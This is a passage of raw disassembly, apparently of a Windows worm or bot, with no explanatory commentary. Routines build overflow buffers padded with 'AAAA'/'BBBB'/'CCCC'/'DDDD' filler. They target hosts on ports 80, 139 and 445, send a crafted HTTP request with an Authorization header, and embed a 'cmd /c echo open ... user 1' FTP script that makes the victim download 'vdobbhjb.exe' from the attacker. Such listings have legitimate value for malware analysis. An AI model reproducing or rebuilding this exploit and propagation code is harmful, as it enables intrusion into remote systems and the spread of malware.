ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40CB2A mov edi, 408h cmp [ebp+arg_8], edi jg loc_40D0F2 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40D0F2 push esi lea ecx, [ebp+var_30] call sub_40CB2A lea ecx, [ebp+var_20] call sub_40CB2A lea ecx, [ebp+var_50] call sub_40CB2A lea ecx, [ebp+var_18] call sub_40CB2A lea ecx, [ebp+var_40] call sub_40CB2A lea ecx, [ebp+var_38] call sub_40CB2A lea ecx, [ebp+var_28] call sub_40CB2A push 4 push offset dword_432030 lea ecx, [ebp+var_30] call sub_40CCE2 push 3 push offset dword_432038 lea ecx, [ebp+var_30] call sub_40CCE2 lea ecx, [ebp+var_30] call sub_40CC68 lea ecx, [ebp+var_30] call sub_40CD43 mov esi, 800h lea eax, [ebp+Dst] push esi ; Size push 42h ; Val push eax ; Dst call _memset add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_40CCE2 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40CCE2 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+Dst] push eax call sub_40CCE2 lea ecx, [ebp+var_20] call sub_40CC68 push offset dword_4323B4 ; Str lea ecx, [ebp+var_50] call sub_40CD16 lea ecx, [ebp+var_50] call sub_40CC68 push esi ; Size lea eax, [ebp+Dst] push 44h ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] lea ecx, [ebp+var_58] push 410h ; Size push eax ; Src call sub_40CB34 lea ecx, [ebp+var_58] call sub_40CC68 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40CD7F lea ecx, [ebp+var_58] call sub_40CBC3 push esi ; Size lea eax, [ebp+Dst] push 43h ; Val push eax ; Dst call _memset add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40CD16 push 4 push offset dword_43203C lea ecx, [ebp+var_18] call sub_40CCE2 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40CCE2 sub edi, [ebp+arg_8] lea eax, [ebp+Dst] lea ecx, [ebp+var_18] push edi push eax call sub_40CCE2 lea ecx, [ebp+var_18] call sub_40CC68 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40CD33 push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40CD33 lea ecx, [ebp+var_40] call sub_40CD43 lea ecx, [ebp+var_18] call sub_40CBC3 lea ecx, [ebp+var_50] call sub_40CBC3 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40CD33 push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40CD33 push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40CD33 lea ecx, [ebp+var_38] call sub_40CD43 lea ecx, [ebp+var_20] call sub_40CBC3 lea ecx, [ebp+var_30] call sub_40CBC3 lea ecx, [ebp+var_40] call sub_40CBC3 push esi ; Size lea eax, [ebp+Dst] push 41h ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] lea ecx, [ebp+var_28] push 400h push eax call sub_40CCE2 lea ecx, [ebp+var_28] call sub_40CC68 push 2 push offset dword_4323A8 lea ecx, [ebp+var_28] call sub_40CCE2 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40CD33 lea ecx, [ebp+var_28] call sub_40CD43 lea ecx, [ebp+var_38] call sub_40CBC3 lea ecx, [ebp+var_10] call sub_40CB2A lea ecx, [ebp+var_8] call sub_40CB2A push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40CD33 lea ecx, [ebp+var_10] call sub_40CBDC lea ecx, [ebp+var_28] call sub_40CBC3 push offset dword_4323A4 ; Str lea ecx, [ebp+var_8] call sub_40CD16 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CD33 lea ecx, [ebp+var_8] call sub_40CBDC lea ecx, [ebp+var_10] call sub_40CBC3 push offset dword_4323A0 ; Str lea ecx, [ebp+var_10] call sub_40CD16 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40CD33 lea ecx, [ebp+var_10] call sub_40CBDC lea ecx, [ebp+var_8] call sub_40CBC3 push offset dword_432394 ; Str lea ecx, [ebp+var_8] call sub_40CD16 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CD33 lea ecx, [ebp+var_8] call sub_40CBDC lea ecx, [ebp+var_10] call sub_40CBC3 push offset dword_432390 ; Str lea ecx, [ebp+var_48] call sub_40CD16 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40CD33 lea ecx, [ebp+var_8] call sub_40CBC3 mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40D100 ; --------------------------------------------------------------------------- loc_40D0F2: ; CODE XREF: sub_40CD9E+1Bj ; sub_40CD9E+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40D100: ; CODE XREF: sub_40CD9E+352j pop edi pop ebx leave retn sub_40CD9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D104 proc near ; CODE XREF: sub_40D1C8+A1p ; sub_40D1C8+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call ds:dword_42720C ; select cmp eax, edi jnz short loc_40D16B lea eax, [ebp+var_10C] push eax push esi call sub_426350 ; __WSAFDIsSet test eax, eax jnz short loc_40D16F loc_40D16B: ; CODE XREF: sub_40D104+54j xor eax, eax jmp short loc_40D17F ; --------------------------------------------------------------------------- loc_40D16F: ; CODE XREF: sub_40D104+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4CB9EC ; recv loc_40D17F: ; CODE XREF: sub_40D104+69j pop edi pop esi leave retn sub_40D104 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D183 proc near ; CODE XREF: sub_40D1C8+81p ; sub_40D1C8+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4CB9D0 ; htonl mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4CBA24 ; send cmp eax, 4 jz short loc_40D1AD xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D1AD: ; CODE XREF: sub_40D183+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4CBA24 ; send sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40D183 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40D1C8(int,void *Src,size_t Size) sub_40D1C8 proc near ; CODE XREF: sub_40D2A2+48p ; .text:0040D716p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 Src = dword ptr 0Ch Size = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+Size] lea ebx, [edi+41h] push ebx ; Size mov [ebp+var_4], ebx call _malloc mov esi, eax pop ecx test esi, esi jnz short loc_40D1F1 xor al, al jmp loc_40D29D ; --------------------------------------------------------------------------- loc_40D1F1: ; CODE XREF: sub_40D1C8+20j push ebx ; Size push 0 ; Val push esi ; Dst call _memset push 2Fh ; Size push offset dword_4320CC ; Src push esi ; Dst call _memcpy push 8 ; Size lea eax, [esi+31h] push offset dword_4320FC ; Src push eax ; Dst mov [esi+2Fh], di call _memcpy push edi ; Size lea ebx, [esi+3Bh] push [ebp+Src] ; Src mov [esi+39h], di push ebx ; Dst call _memcpy push 6 ; Size add ebx, edi push offset dword_4CE6EC ; Src push ebx ; Dst call _memcpy mov ebx, [ebp+arg_0] push 85h push offset dword_432044 push ebx call sub_40D183 add esp, 48h test al, al jnz short loc_40D259 loc_40D255: ; CODE XREF: sub_40D1C8+B5j xor bl, bl jmp short loc_40D294 ; --------------------------------------------------------------------------- loc_40D259: ; CODE XREF: sub_40D1C8+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40D104 push [ebp+var_4] push esi push ebx call sub_40D183 add esp, 1Ch test al, al jz short loc_40D255 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40D104 add esp, 10h mov bl, 1 loc_40D294: ; CODE XREF: sub_40D1C8+8Fj push esi call sub_41BA91 pop ecx mov al, bl loc_40D29D: ; CODE XREF: sub_40D1C8+24j pop edi pop esi pop ebx leave retn sub_40D1C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40D2A2(int,void *Src,size_t Size) sub_40D2A2 proc near ; CODE XREF: .text:0040D6FCp var_20 = byte ptr -20h arg_0 = dword ptr 8 Src = dword ptr 0Ch Size = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_432108 push [ebp+arg_0] call ds:dword_427208 ; send cmp eax, 48h jnz short loc_40D2DD push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40D104 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40D2DD cmp [ebp+var_20], 82h jz short loc_40D2E1 loc_40D2DD: ; CODE XREF: sub_40D2A2+1Bj ; sub_40D2A2+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D2E1: ; CODE XREF: sub_40D2A2+39j push [ebp+Size] ; Size push [ebp+Src] ; Src push [ebp+arg_0] ; int call sub_40D1C8 add esp, 0Ch leave retn sub_40D2A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D2F4 proc near ; CODE XREF: sub_40D340+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul ds:dbl_427670 call __ftol and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul ds:dbl_427668 fstp [esp+10h+var_10] call _floor fadd st, st pop ecx pop ecx fadd [ebp+var_8] call __ftol inc eax leave retn sub_40D2F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40D340(int,int,__int16,char *Str) sub_40D340 proc near ; CODE XREF: sub_40D4E2+24p var_4C = qword ptr -4Ch var_38 = byte ptr -38h var_2C = dword ptr -2Ch var_28 = qword ptr -28h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_B = byte ptr 13h Src = dword ptr 14h mov eax, offset loc_426AA7 call __EH_prolog sub esp, 2Ch mov al, [ebp+arg_B] push ebx push esi push edi xor edi, edi lea ecx, [ebp+var_38] push edi mov [ebp+var_20], edi mov [ebp+var_38], al call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool) push 1 pop ebx push dword ptr [ebp+10h] mov [ebp+var_4], ebx call sub_40D2F4 cmp [ebp+var_2C], eax pop ecx jnb short loc_40D382 push edi push eax lea ecx, [ebp+var_38] call ?_Grow@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAE_NI_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Grow(uint,bool) loc_40D382: ; CODE XREF: sub_40D340+36j cmp [ebp+10h], edi mov [ebp+var_18], edi jbe loc_40D49F mov ebx, [ebp+10h] loc_40D391: ; CODE XREF: sub_40D340+156j cmp dword ptr [ebp+10h], 3 jb short loc_40D39B push 3 jmp short loc_40D3AD ; --------------------------------------------------------------------------- loc_40D39B: ; CODE XREF: sub_40D340+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40D3A5 push 2 jmp short loc_40D3AD ; --------------------------------------------------------------------------- loc_40D3A5: ; CODE XREF: sub_40D340+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_40D3AE push 1 loc_40D3AD: ; CODE XREF: sub_40D340+59j ; sub_40D340+63j pop ebx loc_40D3AE: ; CODE XREF: sub_40D340+69j mov dword ptr [ebp+var_28], ebx mov dword ptr [ebp+var_28+4], edi fild [ebp+var_28] push ecx push ecx ; double fmul ds:dbl_427680 fstp [esp+4Ch+var_4C] call _ceil pop ecx pop ecx call __ftol cmp ebx, edi mov [ebp+var_1C], eax jbe short loc_40D3ED mov esi, [ebp+arg_4] mov ecx, ebx mov edx, ecx lea edi, [ebp+var_10] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40D3ED: ; CODE XREF: sub_40D340+93j mov cl, [ebp+var_10] mov dl, [ebp+var_10] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp+var_14], cl mov cl, [ebp+var_F] sar cl, 4 and cl, 0Fh add [ebp+arg_4], ebx shl dl, 4 add cl, dl mov dl, [ebp+var_F] mov [ebp+var_13], cl mov cl, [ebp+var_E] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp+var_12], cl mov cl, [ebp+var_E] and cl, 3Fh cmp eax, edi mov [ebp+var_11], cl jbe short loc_40D45B add [ebp+var_18], eax loc_40D43F: ; CODE XREF: sub_40D340+119j movsx eax, [ebp+esi+var_14] lea ecx, [ebp+var_38] mov al, byte_432154[eax] push eax ; char push 1 ; Size call ?append@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ID@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char) inc esi cmp esi, [ebp+var_1C] jb short loc_40D43F loc_40D45B: ; CODE XREF: sub_40D340+FAj cmp [ebp+var_18], 48h jb short loc_40D479 push [ebp+Src] ; Str call _strlen pop ecx push eax ; Size lea ecx, [ebp+var_38] push [ebp+Src] ; Src call sub_40D7CD mov [ebp+var_18], edi loc_40D479: ; CODE XREF: sub_40D340+11Fj push 4 pop esi cmp [ebp+var_1C], esi jnb short loc_40D493 sub esi, [ebp+var_1C] loc_40D484: ; CODE XREF: sub_40D340+151j push 3Dh ; char push 1 ; Size lea ecx, [ebp+var_38] call ?append@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ID@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char) dec esi jnz short loc_40D484 loc_40D493: ; CODE XREF: sub_40D340+13Fj cmp [ebp+10h], edi ja loc_40D391 push 1 pop ebx loc_40D49F: ; CODE XREF: sub_40D340+48j mov esi, [ebp+arg_0] mov al, [ebp+var_38] push edi mov ecx, esi mov [esi], al call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool) push ds:dword_427678 lea eax, [ebp+var_38] mov ecx, esi push edi push eax call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ABV12@II@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint) mov [ebp+var_20], ebx and byte ptr [ebp+var_4], 0 push ebx lea ecx, [ebp+var_38] call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool) mov ecx, [ebp+var_C] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40D340 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D4E2 proc near ; CODE XREF: .text:0040D6DFp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = word ptr 10h arg_C = byte ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch mov eax, offset sub_426AC4 call __EH_prolog sub esp, 10h push ebx push esi push edi push offset byte_43DB88 ; Str lea eax, [ebp+var_1C] push dword ptr [ebp+arg_8] ; __int16 xor ebx, ebx mov [ebp+var_4], ebx push [ebp+arg_4] ; int push eax ; int call sub_40D340 mov eax, [ebp+arg_14] mov ecx, [ebp+var_14] mov byte ptr [ebp+var_4], 1 lea esi, [ecx+eax+36h] push esi ; Size call _malloc mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40D52C xor bl, bl jmp short loc_40D570 ; --------------------------------------------------------------------------- loc_40D52C: ; CODE XREF: sub_40D4E2+44j mov ecx, [ebp+var_18] mov eax, offset dword_427688 cmp ecx, ebx jnz short loc_40D53A mov ecx, eax loc_40D53A: ; CODE XREF: sub_40D4E2+54j cmp [ebp+arg_10], ebx jz short loc_40D542 mov eax, [ebp+arg_10] loc_40D542: ; CODE XREF: sub_40D4E2+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi ; Count push edi ; Dest call __snprintf add esp, 14h push ebx push esi push edi push [ebp+arg_0] call dword_4CBA24 ; send cmp eax, esi jz short loc_40D567 xor bl, bl jmp short loc_40D569 ; --------------------------------------------------------------------------- loc_40D567: ; CODE XREF: sub_40D4E2+7Fj mov bl, 1 loc_40D569: ; CODE XREF: sub_40D4E2+83j push edi call sub_41BA91 pop ecx loc_40D570: ; CODE XREF: sub_40D4E2+48j and byte ptr [ebp+var_4], 0 push 1 lea ecx, [ebp+var_1C] call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool) or [ebp+var_4], 0FFFFFFFFh push 1 lea ecx, [ebp+arg_C] call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool) mov ecx, [ebp+var_C] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40D4E2 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset dword_432300 push eax call _memcpy add esp, 0Ch mov eax, offset Str ; "vdobbhjb.exe" push eax push eax movzx eax, word ptr dword_4CB710 push eax push dword ptr [ebp+8] call sub_40AA06 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-391h] push 400h push eax call __snprintf add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset aSvwfbA ; "SVWfì€" push eax call sub_40CD9E xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40D63B xor eax, eax jmp loc_40D767 ; --------------------------------------------------------------------------- loc_40D63B: ; CODE XREF: .text:0040D632j mov [ebp-0Ch], esi loc_40D63E: ; CODE XREF: .text:0040D73Ej test esi, esi jnz loc_40D744 push 6 push 1 push 2 call ds:dword_427204 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40D72C xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_4CB9D4 ; htons mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_4CBA14 ; inet_addr mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_4CB97C ; connect cmp eax, 0FFFFFFFFh jz loc_40D721 cmp dword ptr [ebp+0A8h], 50h jnz short loc_40D6E9 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool) lea eax, [ebp+0Ch] push eax call _strlen pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBDI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *,uint) push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D4E2 add esp, 1Ch jmp short loc_40D71E ; --------------------------------------------------------------------------- loc_40D6E9: ; CODE XREF: .text:0040D6A7j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40D703 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D2A2 jmp short loc_40D71B ; --------------------------------------------------------------------------- loc_40D703: ; CODE XREF: .text:0040D6F3j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40D721 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D1C8 loc_40D71B: ; CODE XREF: .text:0040D701j add esp, 0Ch loc_40D71E: ; CODE XREF: .text:0040D6E7j movzx esi, al loc_40D721: ; CODE XREF: .text:0040D69Aj ; .text:0040D70Dj push ebx call dword_4CBA6C ; closesocket test esi, esi jnz short loc_40D737 loc_40D72C: ; CODE XREF: .text:0040D657j push 3E8h call ds:dword_427080 ; Sleep loc_40D737: ; CODE XREF: .text:0040D72Aj inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40D63E loc_40D744: ; CODE XREF: .text:0040D640j lea ecx, [ebp-8] call sub_40CBC3 test esi, esi jz short loc_40D765 mov eax, [ebp+0B0h] shl eax, 6 inc dword_431800[eax] lea eax, dword_431800[eax] loc_40D765: ; CODE XREF: .text:0040D74Ej mov eax, esi loc_40D767: ; CODE XREF: .text:0040D636j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A88 loc_40D76C: ; CODE XREF: sub_426A88+3j ; sub_426A90+11j ... push 1 call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool) retn ; END OF FUNCTION CHUNK FOR sub_426A88 ; [00000059 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char). PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_40D7CD(void *Src,size_t Size) sub_40D7CD proc near ; CODE XREF: sub_40D340+131p Src = dword ptr 4 Size = dword ptr 8 mov eax, ds:dword_427678 push ebx mov ebx, [esp+4+Size] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D7E7 call sub_42629A loc_40D7E7: ; CODE XREF: sub_40D7CD+13j test ebx, ebx jbe short loc_40D81C mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call ?_Grow@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAE_NI_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Grow(uint,bool) test al, al jz short loc_40D81C mov eax, [esi+8] push ebx ; Size push [esp+10h+Src] ; Src add eax, [esi+4] push eax ; Dst call _memcpy mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D81C: ; CODE XREF: sub_40D7CD+1Cj ; sub_40D7CD+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D7CD endp ; [000000CE BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint). PRESS KEYPAD "+" TO EXPAND] ; [00000085 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Grow(uint,bool). PRESS KEYPAD "+" TO EXPAND] ; [0000003C BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool). PRESS KEYPAD "+" TO EXPAND] ; [00000035 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *,uint). PRESS KEYPAD "+" TO EXPAND] ; [00000067 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::erase(uint,uint). PRESS KEYPAD "+" TO EXPAND] ; [000000BD BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Copy(uint). PRESS KEYPAD "+" TO EXPAND] ; [00000030 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Split(void). PRESS KEYPAD "+" TO EXPAND] ; [00000021 BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DB5E proc near ; CODE XREF: .text:0040DF74p Dest = word ptr -354h var_34E = byte ptr -34Eh Source = word ptr -124h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 354h push ebx push esi push edi mov esi, offset off_432948 lea edi, [ebp+var_C] mov ecx, 8Ah movsd movsd movsd mov esi, offset asc_432940 ; "\\\\" lea edi, [ebp+Dest] movsd movsw xor eax, eax lea edi, [ebp+var_34E] rep stosd stosw mov al, byte_43DB88 push 45h mov byte ptr [ebp+Source], al pop ecx xor eax, eax lea edi, [ebp+Source+1] rep stosd stosw stosb lea eax, [ebp+Source] push 0FFh push eax push 0FFFFFFFFh push [ebp+arg_0] xor edi, edi push edi push edi call ds:dword_4270E8 ; MultiByteToWideChar lea eax, [ebp+Source] push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _wcscat lea eax, [ebp+var_C] push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _wcscat mov esi, [ebp+arg_4] lea eax, [ebp+Dest] add esp, 10h mov [esi+14h], eax mov eax, offset dword_4CE6F4 push edi push eax push eax push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+1Ch], edi call dword_4CBA74 cmp eax, 5 mov ebx, 4C3h jz short loc_40DC22 cmp eax, ebx jnz short loc_40DC2C loc_40DC22: ; CODE XREF: sub_40DB5E+BEj push edi push edi push edi push esi call dword_4CBA74 loc_40DC2C: ; CODE XREF: sub_40DB5E+C2j cmp eax, 5 jz short loc_40DC3A cmp eax, ebx jz short loc_40DC3A push 1 pop eax jmp short loc_40DC3C ; --------------------------------------------------------------------------- loc_40DC3A: ; CODE XREF: sub_40DB5E+D1j ; sub_40DB5E+D5j xor eax, eax loc_40DC3C: ; CODE XREF: sub_40DB5E+DAj pop edi pop esi pop ebx leave retn sub_40DB5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DC41 proc near ; CODE XREF: .text:0040DFC6p ; .text:0040E0A6p Dest = word ptr -354h var_34E = byte ptr -34Eh Source = word ptr -124h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 354h push esi push edi mov esi, offset off_432948 lea edi, [ebp+var_C] movsd movsd movsd mov esi, offset asc_432940 ; "\\\\" lea edi, [ebp+Dest] movsd movsw mov ecx, 8Ah xor eax, eax lea edi, [ebp+var_34E] push 45h rep stosd stosw mov al, byte_43DB88 pop ecx mov byte ptr [ebp+Source], al xor eax, eax lea edi, [ebp+Source+1] push 0FFh rep stosd stosw stosb lea eax, [ebp+Source] xor esi, esi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push esi call ds:dword_4270E8 ; MultiByteToWideChar lea eax, 